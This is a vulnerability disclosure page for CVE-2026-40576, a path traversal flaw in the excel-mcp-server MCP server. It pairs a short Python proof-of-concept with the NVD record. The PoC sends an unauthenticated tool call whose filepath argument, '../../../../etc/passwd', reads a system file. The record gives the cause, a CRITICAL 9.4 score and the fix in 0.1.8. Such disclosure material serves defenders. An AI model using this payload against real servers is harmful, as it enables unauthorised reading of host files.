CVE-2026-40576

import requests import json # Exploit Title: CVE-2026-40576 - excel-mcp-server Path Traversal # Description: PoC to read arbitrary files using path traversal. TARGET_URL = "http://target-host:port/sse" # Replace with actual target URL # The vulnerability affects any of the 25 exposed tool handlers. # We simulate a request to a handler that takes a 'filepath' argument. payload = { "method": "tools/call", "params": { "name": "read_sheet", # Example tool name "arguments": { "filepath": "../../../../etc/passwd" # Path traversal payload } } } try: headers = {'Content-Type': 'application/json'} response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-40576", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:55.870", "lastModified": "2026-04-22T21:17:23.590", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "excel-mcp-server is a Model Context Protocol server for Excel file manipulation. A path traversal vulnerability exists in excel-mcp-server versions up to and including 0.1.7. When running in SSE or Streamable-HTTP transport mode (the documented way to use this server remotely), an unauthenticated attacker on the network can read, write, and overwrite arbitrary files on the host filesystem by supplying crafted filepath arguments to any of the 25 exposed MCP tool handlers. The server is intended to confine file operations to a directory set by the EXCEL_FILES_PATH environment variable. The function responsible for enforcing this boundary — get_excel_path() — fails to do so due to two independent flaws: it passes absolute paths through without any check, and it joins relative paths without resolving or validating the result. Combined with zero authentication on the default network-facing transport and a default bind address of 0.0.0.0 (all interfaces), this allows trivial remote exploitation. This vulnerability is fixed in 0.1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/haris-musa/excel-mcp-server/security/advisories/GHSA-j98m-w3xp-9f56", "source": "[email protected]"}, {"url": "https://github.com/haris-musa/excel-mcp-server/security/advisories/GHSA-j98m-w3xp-9f56", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}